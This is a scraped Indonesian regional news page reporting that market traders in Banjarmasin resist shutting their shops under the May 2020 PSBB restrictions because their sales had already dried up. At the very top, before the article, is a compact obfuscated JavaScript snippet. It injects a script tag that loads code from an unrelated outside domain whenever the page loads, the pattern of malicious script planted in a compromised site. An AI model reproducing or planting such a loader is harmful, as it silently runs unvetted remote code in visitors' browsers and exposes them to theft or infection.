(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Jualan Sudah Sepi, Kami Makan Apa Kalau Toko Tutup


KANALKALIMANTAN.COM, BANJARMASIN – Kendati Surat Edaran Wali Kota Banjarmasin Nomor 37 Tahun 2020 telah terbit sejak Senin (11/5/2020) kemarin, nyatanya pedagang di Pasar Sudimampir Baru Banjarmasin masih keberatan untuk menutup toko mereka.

Dari pantauan di lokasi, Selasa (12/5/2020) siang, beberapa pedagang masih beraktivitas seperti biasa dengan membuka toko, dimana mayoritas menjual barang-barang bukan kebutuhan pokok.

Seperti Hj Idah, pedagang tas yang tokonya tak jauh dari pintu utama masuk pasar Sudimampir Baru. Menurutnya, sebelum penerapan Pembatasan Sosial Berskala Besar (PSBB) dagangan di tokonya sudah kadung sepi.

“Bukan penurunan lagi, praktis sepi,” ucapnya saat ditemui Kanalkalimantan.com, Selasa (12/5/2020).

Baca juga : Pedagang Konveksi Keberatan Harus Tutup Selama PSBB Jilid II

Hj Ida, salah satu pedagang di Pasar Sudimampir Baru Banjarmasin. foto: fikri

Sebelumnya, Hj Idah mengaku tokonya sempat tutup selama 11 hari. Ia memutuskan untuk tetap membuka toko, sembari beralasan tidak menerima secara langsung surat edaran dari Pemko dan mengaku pemberitahuan penutupan terkesan mendadak.

“Jadi uang kami habis, (lalu) kami apa yang dimakan. Cuma bisa bertahan beberapa hari,” keluhnya.

Baca juga: Satpol PP Banjarmasin Diturunkan, Minta Pedagang Bahan Sekunder Tutup

Sunanrti, pedagang di Pasar Sudimampir Baru Banjarmasin. foto: fikri

Selain itu, pedagang pasar lainnya bernama Sunarti mengaku tidak pernah menerima surat edaran apapun dari Pemko. Sehingga, dengan dalih itulah ia tetap membuka toko jualan makanannya.

“Di pasar ini masih ada yang buka, jadi saya ikut buka. Apalagi jualan saya ini sudah masak,” katanya.

Namun demikian, oleh aparat Satpol PP Kota Banjarmasin saat mendatangi tokonya, untuk segera menghabiskan dagangan makanannya.

“Kami di sini menurut (mengikuti) orang banyak saja. Bila orang buka, kita ikut buka tetapi jika orang tutup, kita juga tutup,” tukasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

5 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

5 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

6 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

9 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

10 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

21 jam ago

This website uses cookies.